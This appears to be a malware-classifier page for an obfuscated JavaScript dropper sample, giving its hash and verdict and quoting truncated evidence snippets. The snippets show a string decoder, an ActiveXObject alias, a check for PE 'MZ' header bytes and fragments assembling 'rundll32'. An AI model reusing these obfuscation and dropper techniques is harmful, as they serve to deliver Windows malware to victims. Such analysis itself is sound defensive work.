Hostile ^100% javascript-malware-collection Download

20161221_b20cfd12ecf2a55acb16412050749eb5.js

Obfuscated JS dropper with ActiveX, eval, MZ payload

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-2568769f4d35c2ca0e80c1c18017c44c8a7c525a3ac36e6560faa25099300e2a426

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikuniprotkbFROG2XCOP = 0;	
9     var SupchikuniprotkbRazlomSS, SupchikuniprotkbFROG2ddDccC2, SupchikuniprotkbFROG2c3, SupchikuniprotkbFROG2c4;
10
11     var SupchikuniprotkbFROG2out = "";
12
13	 var SupchikuniprotkbFROG2Supchikuniprotkbka= this.replace(/FROSTICK/gi, SupchikuniprotkbFROG2out);
14 var  SupchikuniprotkbFROG2len = SupchikuniprotkbFROG2 …

charCodeAt() method call lines 18–20

7… r Supchikuniprotkbkoch = SupchikuniprotkbFROG2Supchikuniprotkbka.charCodeAt(SupchikuniprotkbFROG2XCOP++) &(0x132- 0x33);
          SupchikuniprotkbRazlomSS = levitron[Supchikuniprotkbkoch];
      } while (SupchikuniprotkbFROG2XCOP < Supchik …

Builds characters with String.fromCharCode lines 27–30

43… 1== 0)
          break;
      SupchikuniprotkbFROG2out += String['fromCharCode']((SupchikuniprotkbRazlomSS << 2) | ((SupchikuniprotkbFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikuniprotkbFROG2c3 = Supchik …

ActiveXObject via local alias lines 185–188

22… FROG2d2=SupchikuniprotkbFROG2DoUtra.pop();
186SupchikuniprotkbFROG2fabled="Valar2Morgulis";
var SupchikuniprotkbFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikuniprotkbFROG2d2.split("45");SupchikuniprotkbFROG2Native.SupchikuniprotkbFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikuniprotkbFROG2$type(a)= …

Checks array for PE magic bytes lines 257–264

82… abaev);	
if(SupchikuniprotkbTalabaevLaa < 29989)return false;
if (SupchikuniprotkbTalabaev[0]!= 77 || SupchikuniprotkbTalabaev[1]!= 90)return false;		
SupchikuniprotkbFROG2CHICKA = SupchikuniprotkbFROG2CHICKA  + SupchikuniprotkbFROG2SIDRENKOV;
REBEKK2(SupchikuniprotkbFROG2CHICKA, SupchikuniprotkbTalabaev );
262
var SupchikuniprotkbFROG2ddsSSddSd = ",happy";
264SupchikuniprotkbFROG2ddsSSddSd = (SupchikuniprotkbFROG2StrokaParam2,"undl") + (SupchikuniprotkbFROG2StrokaParam2,"l32 ") + Su …